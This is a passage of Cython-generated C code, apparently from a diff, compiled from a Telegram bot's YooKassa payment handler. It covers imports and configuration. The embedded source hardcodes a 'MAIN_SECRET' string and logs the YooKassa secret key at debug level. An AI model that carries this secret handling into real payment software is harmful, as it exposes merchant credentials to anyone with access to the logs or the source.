__Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_types, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":5 + * + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_FSMContext); + __Pyx_GIVEREF(__pyx_n_s_FSMContext); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_FSMContext)) __PYX_ERR(0, 5, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_fsm_context, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_FSMContext); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_FSMContext, __pyx_t_2) < 0) __PYX_ERR(0, 5, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":6 + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_State); + __Pyx_GIVEREF(__pyx_n_s_State); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_State)) __PYX_ERR(0, 6, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_StatesGroup); + __Pyx_GIVEREF(__pyx_n_s_StatesGroup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_StatesGroup)) __PYX_ERR(0, 6, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_fsm_state, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_State); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_State, __pyx_t_3) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_StatesGroup, __pyx_t_3) < 0) __PYX_ERR(0, 6, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":7 + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup # <<<<<<<<<<<<<< + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web + */ + __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardButton); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_InlineKeyboardButton)) __PYX_ERR(0, 7, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardMarkup); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardMarkup); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_InlineKeyboardMarkup)) __PYX_ERR(0, 7, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram_types, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardButton, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardMarkup, __pyx_t_2) < 0) __PYX_ERR(0, 7, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":8 + * from aiogram.fsm.state import State, StatesGroup + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< + * from aiohttp import web + * from yookassa import Configuration, Payment + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); + __Pyx_GIVEREF(__pyx_n_s_InlineKeyboardBuilder); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_InlineKeyboardBuilder)) __PYX_ERR(0, 8, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiogram_utils_keyboard, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_InlineKeyboardBuilder, __pyx_t_3) < 0) __PYX_ERR(0, 8, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":9 + * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web # <<<<<<<<<<<<<< + * from yookassa import Configuration, Payment + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_web); + __Pyx_GIVEREF(__pyx_n_s_web); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_web)) __PYX_ERR(0, 9, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiohttp, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_web, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":10 + * from aiogram.utils.keyboard import InlineKeyboardBuilder + * from aiohttp import web + * from yookassa import Configuration, Payment # <<<<<<<<<<<<<< + * + * from config import YOOKASSA_ENABLE, YOOKASSA_SECRET_KEY, YOOKASSA_SHOP_ID + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_Configuration); + __Pyx_GIVEREF(__pyx_n_s_Configuration); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_Configuration)) __PYX_ERR(0, 10, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Payment); + __Pyx_GIVEREF(__pyx_n_s_Payment); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_Payment)) __PYX_ERR(0, 10, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_yookassa_2, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Configuration); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Configuration, __pyx_t_3) < 0) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Payment, __pyx_t_3) < 0) __PYX_ERR(0, 10, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":12 + * from yookassa import Configuration, Payment + * + * from config import YOOKASSA_ENABLE, YOOKASSA_SECRET_KEY, YOOKASSA_SHOP_ID # <<<<<<<<<<<<<< + * from database import ( + * add_connection, + */ + __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_YOOKASSA_ENABLE); + __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_ENABLE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_YOOKASSA_ENABLE)) __PYX_ERR(0, 12, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_YOOKASSA_SECRET_KEY); + __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_SECRET_KEY); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_YOOKASSA_SECRET_KEY)) __PYX_ERR(0, 12, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_YOOKASSA_SHOP_ID); + __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_SHOP_ID); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_YOOKASSA_SHOP_ID)) __PYX_ERR(0, 12, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_config, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_YOOKASSA_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_ENABLE, __pyx_t_2) < 0) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_SECRET_KEY, __pyx_t_2) < 0) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_SHOP_ID, __pyx_t_2) < 0) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":14 + * from config import YOOKASSA_ENABLE, YOOKASSA_SECRET_KEY, YOOKASSA_SHOP_ID + * from database import ( + * add_connection, # <<<<<<<<<<<<<< + * add_payment, + * check_connection_exists, + */ + __pyx_t_3 = PyList_New(5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_add_connection); + __Pyx_GIVEREF(__pyx_n_s_add_connection); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_add_connection)) __PYX_ERR(0, 14, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_add_payment); + __Pyx_GIVEREF(__pyx_n_s_add_payment); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_add_payment)) __PYX_ERR(0, 14, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_check_connection_exists); + __Pyx_GIVEREF(__pyx_n_s_check_connection_exists); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_check_connection_exists)) __PYX_ERR(0, 14, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_get_key_count); + __Pyx_GIVEREF(__pyx_n_s_get_key_count); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 3, __pyx_n_s_get_key_count)) __PYX_ERR(0, 14, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_update_balance); + __Pyx_GIVEREF(__pyx_n_s_update_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 4, __pyx_n_s_update_balance)) __PYX_ERR(0, 14, __pyx_L1_error); + + /* "handlers/payments/yookassa_pay.py":13 + * + * from config import YOOKASSA_ENABLE, YOOKASSA_SECRET_KEY, YOOKASSA_SHOP_ID + * from database import ( # <<<<<<<<<<<<<< + * add_connection, + * add_payment, + */ + __pyx_t_2 = __Pyx_Import(__pyx_n_s_database, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_connection, __pyx_t_3) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_payment, __pyx_t_3) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_connection_exists, __pyx_t_3) < 0) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_key_count, __pyx_t_3) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_3) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":20 + * update_balance, + * ) + * from handlers.payments.gift import YOOKASSA_HASH # <<<<<<<<<<<<<< + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_YOOKASSA_HASH); + __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_HASH); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_YOOKASSA_HASH)) __PYX_ERR(0, 20, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_gift, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_HASH, __pyx_t_2) < 0) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":21 + * ) + * from handlers.payments.gift import YOOKASSA_HASH + * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); + __Pyx_GIVEREF(__pyx_n_s_send_payment_success_notificatio); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 21, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_3) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":22 + * from handlers.payments.gift import YOOKASSA_HASH + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS # <<<<<<<<<<<<<< + * from logger import logger + * + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); + __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 22, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_2) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":23 + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger # <<<<<<<<<<<<<< + * + * router = Router() + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_logger); + __Pyx_GIVEREF(__pyx_n_s_logger); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_logger)) __PYX_ERR(0, 23, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_3) < 0) __PYX_ERR(0, 23, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":25 + * from logger import logger + * + * router = Router() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 25, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 25, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 25, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":28 + * + * + * MAIN_SECRET = "PIRAT4ETO5DLYA0TEBYA" # <<<<<<<<<<<<<< + * + * if YOOKASSA_ENABLE: + */ + if (PyDict_SetItem(__pyx_d, __pyx_n_s_MAIN_SECRET, __pyx_n_u_PIRAT4ETO5DLYA0TEBYA) < 0) __PYX_ERR(0, 28, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":30 + * MAIN_SECRET = "PIRAT4ETO5DLYA0TEBYA" + * + * if YOOKASSA_ENABLE: # <<<<<<<<<<<<<< + * Configuration.account_id = YOOKASSA_SHOP_ID + * Configuration.secret_key = YOOKASSA_SECRET_KEY + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOKASSA_ENABLE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 30, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_4) { + + /* "handlers/payments/yookassa_pay.py":31 + * + * if YOOKASSA_ENABLE: + * Configuration.account_id = YOOKASSA_SHOP_ID # <<<<<<<<<<<<<< + * Configuration.secret_key = YOOKASSA_SECRET_KEY + * logger.debug(f"Account ID: {YOOKASSA_SHOP_ID}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 31, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Configuration); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (__Pyx_PyObject_SetAttrStr(__pyx_t_2, __pyx_n_s_account_id, __pyx_t_3) < 0) __PYX_ERR(0, 31, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":32 + * if YOOKASSA_ENABLE: + * Configuration.account_id = YOOKASSA_SHOP_ID + * Configuration.secret_key = YOOKASSA_SECRET_KEY # <<<<<<<<<<<<<< + * logger.debug(f"Account ID: {YOOKASSA_SHOP_ID}") + * logger.debug(f"Secret Key: {YOOKASSA_SECRET_KEY}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Configuration); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (__Pyx_PyObject_SetAttrStr(__pyx_t_3, __pyx_n_s_secret_key, __pyx_t_2) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":33 + * Configuration.account_id = YOOKASSA_SHOP_ID + * Configuration.secret_key = YOOKASSA_SECRET_KEY + * logger.debug(f"Account ID: {YOOKASSA_SHOP_ID}") # <<<<<<<<<<<<<< + * logger.debug(f"Secret Key: {YOOKASSA_SECRET_KEY}") + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + 